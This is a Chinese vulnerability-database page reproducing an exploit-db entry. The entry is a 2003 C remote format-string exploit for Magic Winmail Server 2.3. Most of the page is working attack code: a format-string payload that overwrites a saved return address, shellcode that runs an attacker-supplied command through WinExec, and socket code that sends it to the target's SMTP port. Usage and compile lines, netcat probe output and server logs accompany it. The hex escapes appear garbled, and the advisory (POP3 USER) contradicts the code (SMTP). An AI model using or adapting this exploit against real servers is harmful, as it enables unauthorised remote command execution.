Magic Winmail Server 2.3 USER POP3 – Command Format String

Magic Winmail Server 2.3 USER POP3 – Command Format String

漏洞ID 1053886 漏洞类型
发布时间 2003-05-23 更新时间 2003-05-23
图片[1]-Magic Winmail Server 2.3 USER POP3 – Command Format String-安全小百科CVE编号 N/A
图片[2]-Magic Winmail Server 2.3 USER POP3 – Command Format String-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22635
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7667/info

A format string vulnerability has been reported for Magic Winmail Server when processing the USER POP3 command.

An attacker may exploit this vulnerability by connecting to the vulnerable mail server and issuing the USER command with malicious format string specifiers. This may result in the corruption of sensitive memory. 

/******************************************
 * Magic Winmail Server 2.3(Build 0402) 
 * Remote Format string exploit.
 ******************************************
 * Discovered by D4rkGr3y
 * http://www.securityfocus.com/bid/7667/
 * ---------------------------------------
 * Coded by ThreaT.
 * [email protected]
 * ---------------------------------------
 *
 * This is the remote format string exploit
 * for Magic Winmail Server 2.3(Build 0402)
 *
 * This one take advantage of a format bug in the 
 * >>> SMTP protocol <<< (not pop3) for execute
 * a malicious command on a vulnerable system
 *
 * usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]
 * + The command to execute cannot exceed 90 characters +
 *
 * compile : cl.exe mwmxploit.c /w
 *
 ********************************************
 le piratage c'est mal; et quand c'est mal, c'est pas bien.
*/


#include <windows.h>
#include <winsock.h>

#pragma comment (lib,"wsock32.lib")

void main (int argc, char *argv[])
{

	SOCKET sock;

	char buffer[1000];
	int i;

	// ecrasement d'un saved EIP grce aux caractres de format :)
	char vuln[] = 		
		"xecxfcx66x01%x%x"
		"xedxfcx66x01%x%x"
		"xeexfcx66x01"
		
		"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%28x%n"
		"%97x%n%105x%hn"

/*

  This is my specific shellcode for execute a command
  over the Magic Winmail process.

  This one can contain null bytes, enjoy ! :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Disassembly of File: mailserver.exe
Code Offset = 00001000, Code Size = 000CF000
Data Offset = 000EC000, Data Size = 0002E000
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Reference To: KERNEL32.GetModuleHandleA, Ord:0000h
:004B8850 FF15AC014D00            Call dword ptr [004D01AC]

 Reference To: KERNEL32.ExitProcess, Ord:0000h
:004B88C6 FF1598014D00            Call dword ptr [004D0198]

 Reference To: KERNEL32.GetProcAddress, Ord:0000h
:00406CE7 8B3DEC004D00            mov edi, dword ptr [004D00EC]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  //////////////////////// My shellcode \\\\\\\\\\\\\

: EB50                    jmp 00401058
: 5E                      pop esi
: 8BEC                    mov ebp, esp
: 83EC28                  sub esp, 00000028		// je cree un stack de bourrin
: C745D84B65726E          mov [ebp-28], 6E72654B
: C745DC656C3332          mov [ebp-24], 32336C65 // j'y place 'Kernel32'
: C745E000000000          mov [ebp-20], 00000000
: C745E457696E45          mov [ebp-1C], 456E6957
: C745E878656300          mov [ebp-18], 00636578 // ici 'WinExec'

// adaptez le shellcode en virant cette ligne si vraiment vous avez besoin 
// de 4 caractres de plus pour la commande  executer
: C645EB00                mov [ebp-15], 00
										
: BAAC014D00              mov edx, 004D01AC
: 8D45D8                  lea eax, dword ptr [ebp-28]
: 50                      push eax
: FF12                    call dword ptr [edx]	// eax = GetModuleHandle ("Kernel32");
: 8D5DE4                  lea ebx, dword ptr [ebp-1C]
: 53                      push ebx
: 50                      push eax
: BAEC004D00              mov edx, 004D00EC
: FF12                    call dword ptr [edx]	// GetProcAdress (eax, "WinExec");
: 6A01                    push 00000001			// 1 = SW_SHOW, 0 = SW_HIDE :)
: 56                      push esi
: FFD0                    call eax				// WinExec (argv[2], SW_SHOW)
: BA98014D00              mov edx, 004D0198
: FF12                    call dword ptr [edx]	// ExitProcess ();
: E8ABFFFFFF              call 00401008	

  \\\\\\\\\\\\\\\\ EOF /////////////////////////////////

  */
	

// Generated by Hex Workshop
// shellcode.exe - Starting Offset: 4102 (0x00001006) Length: 87 (0x00000057)

	"x00x90x90x90x90"	// sa, c'est pour bien coller
	"xEBx50x5Ex8BxECx83xECx28xC7x45xD8x4Bx65x72x6ExC7" 
	"x45xDCx65x6Cx33x32xC7x45xE0x00x00x00x00xC7x45xE4" 
	"x57x69x6Ex45xC7x45xE8x78x65x63x00xC6x45xEBx00xBA" 
	"xACx01x4Dx00x8Dx45xD8x50xFFx12x8Dx5DxE4x53x50xBA" 
	"xECx00x4Dx00xFFx12x6Ax01x56xFFxD0xBAx98x01x4Dx00" 
	"xFFx12xE8xABxFFxFFxFF";

	SOCKADDR_IN sin;
	WSADATA wsadata;
	WORD wVersionRequested = MAKEWORD (2,0);

	// sa, c'est pour ce la pter
	printf ("* #################################### *n"
		"  Magic Winmail Server 2.3(Build 0402)n"
		"     Remote format string exploit !n"
		"* #################################### *n"
		"  Coded By ThreaT -> [email protected]");

	if (argc < 3 || strlen (argv[2]) > 90)
	{
		printf ("usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]nn"
			" + The command to execute cannot exceed 90 characters +n");
		ExitProcess (0);
	}

	if ( WSAStartup(wVersionRequested, &wsadata) )
	{
		printf ("Erreur d'initialisation winsock !n");
		ExitProcess (1);		
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25);
	
	if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
	{
		printf ("Erreur : L'adresse IP de la victime est incorrect !n");
		ExitProcess (2);
	}

	printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) );

	sock = socket (AF_INET, SOCK_STREAM, 0);
	if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) )
	{
		printf ("erreur : connexion impossible !n");
		ExitProcess (3);
	}

	recv (sock,buffer,1000,0);
	
	printf ("okn-> %snsending exploit code...",buffer);

	send (sock, vuln, strlen (vuln) + 92, 0);  // envoi du shellcode
	send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande
	send (sock, "rn", 2, 0); // validation

	recv (sock,buffer,1000,0); // remote crash :)

	puts ("ok");
}

/*

  Esprit curieux, tu te demande sur quoi je me suis bas pour pisser
  ce bout de code hideux ?

D:toolznetcat>nc 127.0.0.1 25
220 M1 Magic Winmail Server 2.3(Build 0402) ESMTP ready
AAAA 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8
x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0
x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
502 unimplemented (#5.5.1)
 */

/*
D:>type "c:Program FilesMagic Winmailserverlogssmtp.log"
0906/Y-01:50:30   1548 Connect from 127.0.0.1
0906/Y-01:51:06   1584 unrecognized command = AAAA 0x00498f71 0x0176fd10 
0x0176fe3c 0x000000eb 0x0176ff80 0x00ee6c80 0x00000050 0x00ee60d9 0x00000102 
0x0000011f 0x00000050 0x00eecf71 0x0000001c 0x0000001f 0x0176ff74 0x004cd2c0 
0x00000001 0x00493e40 0x0176fd50 0x00000000 0x00ee5ea8 0x00ee5ea8 0x41414141 
0x25783020 0x2078382e 0x2e257830 0x30207838 0x382e2578 0x78302078 0x78382e25 
0x25783020 0x2078382e 0x2e257830

  voila, tout est la :)

*/

相关推荐: Mod_Survey SYSBASE Disk Resource Consumption Denial of Service Vulnerability

Mod_Survey SYSBASE Disk Resource Consumption Denial of Service Vulnerability 漏洞ID 1100413 漏洞类型 Design Error 发布时间 2003-05-05 更新时间 2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享